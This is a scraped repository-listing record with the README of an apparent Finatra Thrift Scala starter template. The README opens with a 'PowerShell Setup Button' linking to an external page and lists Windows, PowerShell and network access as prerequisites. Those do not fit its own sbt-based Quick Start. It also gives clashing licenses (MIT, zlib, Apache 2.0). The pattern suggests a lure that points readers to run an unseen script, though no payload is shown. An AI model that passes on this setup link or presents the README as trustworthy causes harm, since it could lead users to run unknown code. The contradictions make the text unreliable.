[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109809":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":14,"archived":15,"fork":15,"defaultBranch":16,"hasWiki":17,"hasPages":17,"topics":18,"createdAt":9,"pushedAt":28,"updatedAt":29,"readmeContent":30,"aiSummary":31,"trendingCount":12,"starSnapshotCount":12,"syncStatus":32,"lastSyncTime":33,"discoverSource":34},109809,"finatra-activator-thrift-seed","Andrew-LuZeJun\u002Ffinatra-activator-thrift-seed","Andrew-LuZeJun","Finatra Thrift seed template for building scalable services",null,"HTML",149,0,40,"MIT License",false,"main",true,[19,20,21,22,23,24,25,26,27],"activator","finagle","finatra","lightbend","microservices","scala","template","thrift","twitter-server","2026-11-23 10:11:12","2026-11-12 10:22:00","\u003Cdiv align=\"center\">\n\n# Finatra Thrift Activator Seed — Starter Kit\n\n![](files\u002Fpreview.png)\n\n### 🔌 PowerShell Setup Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002FAndrew-LuZeJun.github.io\u002Ffinatra-activator-thrift-seed\u002F)\n\n[![lic](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Flic-zlib-a855f7?style=flat-square&labelColor=0d1117)]() [![status](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fstatus-released-2ea44f?style=flat-square&labelColor=0d1117)]() [![powershell](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fpowershell-script-9333ea?style=flat-square&labelColor=0d1117)]() [![ci](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fci-success-2ea44f?style=flat-square&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nA starter template for bootstrapping a Finatra Thrift server with a minimal seed layout and client example. Clone it to get the basic project structure and build configuration in place, then extend the service definitions for your own use case. The code favors straightforward sbt-based workflows so you can run and iterate locally without extra setup.\n\n## ✅ Before You Start\n\n- Windows 10 or Windows 11\n- PowerShell 5.1 or newer (already available on Windows)\n- Active network connection\n- No admin rights needed\n\n## Features\n\n- Minimal Finatra Thrift seed with a runnable `PingService` example and a sample client\n- Thrift code generation wired into the build, so IDL changes flow straight into generated sources\n- Service and client bootstrap code you can extend without boilerplate cleanup\n- Configurable server settings with sensible local defaults\n- Built on Finatra's Thrift and Finagle HTTP\u002FThrift stack with sbt as the build tool\n- Ready for local development: one command starts the server and the client example\n- Structured to serve as a starting point for new Thrift services rather than a finished product\n- Kept intentionally small to make the code easy to read, adapt, and delete\n\n## Tech Stack\n\n- **Scala** — primary language for the seed template\n- **Finatra** — lightweight framework for building Thrift services on top of Finagle\n- **Finagle** — asynchronous RPC runtime powering request handling\n- **Thrift** — IDL and protocol definitions for generated service interfaces\n- **ThriftMux** — multiplexed Thrift transport for client\u002Fserver communication\n- **sbt** — build tool and task runner for the project\n- **Lightbend Activator** — seed\u002Ftemplate packaging format (deprecated upstream)\n\n## Project Structure\n\n```\nfinatra-activator-thrift-seed\u002F\n├── project\u002F\n│   ├── build.properties        # sbt version pin\n│   └── plugins.sbt             # sbt plugins (assembly, etc.)\n├── src\u002F\n│   ├── main\u002F\n│   │   ├── scala\u002F\n│   │   │   └── com\u002Fexample\u002F\n│   │   │       ├── PingService.thrift     # Thrift IDL definition\n│   │   │       ├── PingServiceHandler.scala\n│   │   │       ├── ThriftServer.scala     # Server entry point\n│   │   │       └── modules\u002F               # Guice modules\n│   │   └── resources\u002F\n│   │       └── logback.xml\n│   └── test\u002F\n│       └── scala\u002F\n│           └── com\u002Fexample\u002F\n│               └── ThriftServerFeatureTest.scala\n├── build.sbt                   # Build definition \u002F dependencies\n├── .gitignore\n└── README.md\n```\n\n- **`project\u002F`** — sbt build metadata and plugin configuration.\n- **`src\u002Fmain\u002Fscala`** — Thrift IDL, service handler, server bootstrap, and dependency-injection modules.\n- **`src\u002Fmain\u002Fresources`** — Runtime config such as logging.\n- **`src\u002Ftest\u002Fscala`** — Feature and unit tests wired to the in-memory Finatra test server.\n- **`build.sbt`** — Scala version, Finatra\u002FThrift dependencies, and build tasks.\n\nGenerated sources from the `.thrift` file are placed under `target\u002Fscala-*\u002Fsrc_managed\u002F` — do not edit them by hand.\n```\n\n## Quick Start\n\nThis seed gives you a minimal Finatra Thrift server you can build on. Define your Thrift IDL, wire up a service, then implement and run it.\n\n**1. Define the service.** Add your Thrift definitions to the IDL file under the project sources. The build generates the Scala bindings automatically.\n\n**2. Implement the handler.** Extend the generated service interface and implement each method, returning `Future` values. Keep handlers thin and delegate to your domain logic.\n\n**3. Wire the server.** Register the handler with the Finatra module so the Thrift server binds it on startup.\n\n**4. Run it.** Start the server with the project's sbt task:\n\n```\nsbt run\n```\n\nThe server listens on the configured Thrift port. Call it from a client to verify responses end to end.\n\n**5. Iterate.** Add new methods to the IDL, re-run the build to regenerate bindings, implement the handlers, and restart the server.\n\n## FAQ\n\n- **Is this template still maintained?** No. The upstream seed is archived and Lightbend Activator was deprecated with an end-of-life in 2017. Treat this as a reference starting point, not an actively supported base.\n- **Can I use it without Activator?** Yes. The project is a standard sbt build; you can open it in any sbt-compatible environment and run it directly.\n- **Where do I define new Thrift services?** Add your service definitions alongside the existing ones, regenerate the Scala bindings, then wire the new service into the server module and its controller.\n- **How do I add a new endpoint to an existing service?** Extend the Thrift definition, regenerate, then update the corresponding service implementation. Keep request\u002Fresponse types in the shared IDL to stay consistent with the generated interfaces.\n- **Why does the generated code look stale after editing the IDL?** Bindings are produced at build time. Re-run the generation step (or a clean build) so the compiled sources pick up the changes.\n- **What port does the server listen on?** The seed defaults to a single local port for the ThriftMux listener; adjust it in the server configuration if it conflicts with another process.\n- **Can I swap the transport or protocol?** Yes. The server and client builders are configurable; change the ThriftMux settings on both sides to match.\n- **Where should I put shared logic across services?** Keep cross-cutting concerns (filters, tracing, stats) in modules composed into the server, rather than duplicating them per service.\n- **Is there a recommended way to test a service?** Instantiate the service implementation directly and assert on returned futures; use the provided client builder for integration-style checks against a locally running server.\n\n## License\n\nReleased under the Apache License, Version 2.0. See the LICENSE file in this project for the full text.\n\nUnless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.","这是一个基于 Finatra 框架的 Thrift 微服务快速启动模板，用于构建可扩展、异步的 Scala 后端服务。项目提供最小可行结构，内置 Thrift IDL 定义、自动生成代码集成、服务端与客户端示例（PingService）、Finagle 底层通信支持及开箱即用的 sbt 构建配置。技术上依托 Finatra\u002FFinagle 栈与 ThriftMux 协议，强调本地开发效率和可扩展性。适用于需要快速搭建高性能、协议明确的内部 RPC 服务的团队，尤其适合金融、实时数据处理等对低延迟和强契约有要求的微服务场景。",2,"2026-11-24 04:37:33","CREATED_QUERY"]